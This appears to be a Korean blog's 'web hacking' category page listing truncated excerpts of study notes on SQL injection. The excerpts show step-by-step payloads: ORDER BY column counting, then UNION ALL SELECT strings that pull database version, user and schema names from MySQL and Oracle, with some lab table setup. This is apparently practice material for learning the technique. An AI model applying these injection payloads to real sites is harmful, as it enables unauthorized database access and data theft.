목록웹 해킹 (100)
Oh! JUN
1. 취약점 확인 - '(작은 따움표) 조회 - 오류 발생 - admi' 'n - mysql에서는 ' '사이는 자동으로 연결해주는 역할을 한다. - 그래서 쿼리문을 통해 작동된다는걸 알 수 있다. 2. 컬럼 개수 확인(order by) ' order by 1# 정상 출력 ' order by 2# 정상 출력 ' order by 3# 에러 발생 ' order by 4# 에러 발생 ' order by 5# 에러 발생 - order by 3 이후로 에러가 발생해서 컬럼 개수는 2개 임을 알 수 있다. 3. 출력할 컬럼 위치 확인(union all) ' union all select 'test', null# - 첫번째 컬럼에 'test' 입력하니까 웹 화면에 출력되는걸 확인할 수 있다. - 이제 여기에 각종 정보..
1. 게시판 목록 1-1. 컬럼 개수 구하기 ' order by 1-- 정상 출력 ' order by 2-- 정상 출력 ' order by 3-- 에러 발생(대용량 데이터 타입) ' order by 4-- 정상 출력 ' order by 5-- 정상 출력 ' order by 6-- 정상 출력 ' order by 7-- 정상 출력 ' order by 8-- 에러 발생 ' order by 9-- 에러 발생 ' order by 10-- 에러 발생 - order by 3번째에서 대용량 데이터 타입이라 에러가 발생한다. - 컬럼 개수는 7개이다. 1-2. 기본정보 ' and 1=2 union all select 1, (select banner from v$version where rownum=1)||'###'||(..
1. 게시판 목록 1-1. order by를 사용해 컬럼 개수 파악하기 ' order by 7# 정상출력 ' order by 8# 에러발생 ' order by 9# 에러발생 ' order by 10# 에러발생 - 7번째까지 정상출력되고 그 이후로는 에러가 발생하기 때문에 컬럼의 개수는 7개이다. 1-2. UNION 활용 1-2-1. 기본 정보 조회 ' and 1=2 union all select version(), system_user(), database(), 'a', 'b', 'c', database()# - DB 버전, 유저정보, DB이름 기본정보 체크 1-2-2. DB 조회 ' and 1=2 union all select version(), schema_name, database(), 'a', '..
# MYSQL 실습 select * from tb_board; select * from tb_board order by 1; 정상 출력 select * from tb_board order by 2; 정상 출력 select * from tb_board order by 3; 정상 출력 select * from tb_board order by 4; 정상 출력 select * from tb_board order by 5; 정상 출력 select * from tb_board order by 6; 정상 출력 select * from tb_board order by 7; 정상 출력 select * from tb_board order by 8; 에러 발생 select * from tb_board order by 9; ..
● 정렬 대상 컬럼에 컬럼명 대신 숫자가 올 수 있으며, 이를 통해 컬럼 개수 파악 가능 ● 정렬 대상 컬럼이 대용량 데이터 타입일 경우 정렬이 불가능하여 에러 발생 ● UNION 사용 시 상위 SELECT 문에 ORDER BY 구문이 있을 경우 에러 발생 1. 정렬 대상 컬럼에 컬럼명 대신 숫자가 올 수 있으며, 이를 통해 컬럼 개수 파악 가능 order by 1 : 첫번째 열인 seq을 기준으로 정렬 order by 2 : 두번째 열인 id을 기준으로 정렬 order by 3 : 세번쨰 열 없으니까 오류 x - 이를 통해 컬럼의 개수를 알수 있음. 2. 정렬 대상 컬럼이 대용량 데이터 타입일 경우 정렬이 불가능하여 에러 발생 http://www.victim.co.kr/boardView.do?idx=1..
# 실습 세팅 create database union_test; use union_test; create table user1(seq int, id varchar(10)); create table user2(seq int, id varchar(10)); insert into user1 values(1, 'admin'); insert into user1 values(2, 'test1'); insert into user1 values(3, 'test2'); insert into user2 values(1, 'admin'); insert into user2 values(2, 'test2'); insert into user2 values(3, 'test3'); 1. union 실습 select * from us..